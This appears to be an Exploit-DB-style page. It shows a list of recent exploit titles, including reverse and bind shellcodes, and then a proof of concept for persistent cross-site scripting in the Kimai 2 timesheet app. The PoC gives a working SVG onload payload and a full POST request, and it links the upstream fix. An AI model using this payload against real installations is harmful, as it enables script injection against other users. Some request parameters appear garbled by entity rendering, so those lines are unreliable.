
10 changes to exploits/shellcodes RAR Password Recovery 1.80 - 'User Name and Registration Code' Denial of Service Kimai 2 - Persistent Cross-Site Scripting FortiOS 5.6.3 - 5.6.7 / FortiOS 6.0.0 - 6.0.4 - Credentials Disclosure (Metasploit) FortiOS 5.6.3 - 5.6.7 / FortiOS 6.0.0 - 6.0.4 - Credentials Disclosure Neo Billing 3.5 - Persistent Cross-Site Scripting Webmin 1.920 - Remote Code Execution YouPHPTube 7.2 - 'userCreate.json.php' SQL Injection Linux/x86_64 - Bind Shell (/bin/sh) with Configurable Password Shellcode (129 bytes) Linux/x86_64 - Reverse Shell (/bin/sh) with Configurable Password Shellcode (120 bytes) Linux/x86_64 - AVX2 XOR Decoder + execve(_/bin/sh_) Shellcode (62 bytes)
32 lines
No EOL
1.3 KiB
Text
32 lines
No EOL
1.3 KiB
Text
# Exploit Title: Kimai 2- persistent cross-site scripting (XSS)
|
|
# Date: 07/15/2019
|
|
# Exploit Author: osamaalaa
|
|
# Vendor Homepage: [link]
|
|
# Software Link: https://github.com/kevinpapst/kimai2
|
|
# Fixed on Github : https://github.com/kevinpapst/kimai2/pull/962
|
|
# Version: 2
|
|
|
|
1-Normal user will try to add timesheet from this link http://localhost/index.php/en/timesheet/create
|
|
|
|
2-Add this payload "><svg/onload=alert('xss')> in the description
|
|
|
|
3-Save The changes
|
|
|
|
4-refresh and we have alert pop up!
|
|
|
|
The Request POC :
|
|
|
|
POST /index.php/en/timesheet/create HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
|
Accept: */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 392
|
|
Connection: close
|
|
Referer: http://localhost
|
|
Cookie: PHPSESSID=auehoprhqk3qspncs5s08ucobv
|
|
|
|
timesheet_edit_form[begin]=2019-08-17 13:02×heet_edit_form[end]=2019-08-18 00:00×heet_edit_form[customer]=12×heet_edit_form[project]=24×heet_edit_form[activity]=27×heet_edit_form[description]= "><svg/onload=alert('xss')>×heet_edit_form[tags]=×heet_edit_form[_token]=19Owg2YgIMPFUcEP9NVibhqEpKwkwhVt5j-BTJysyK0 |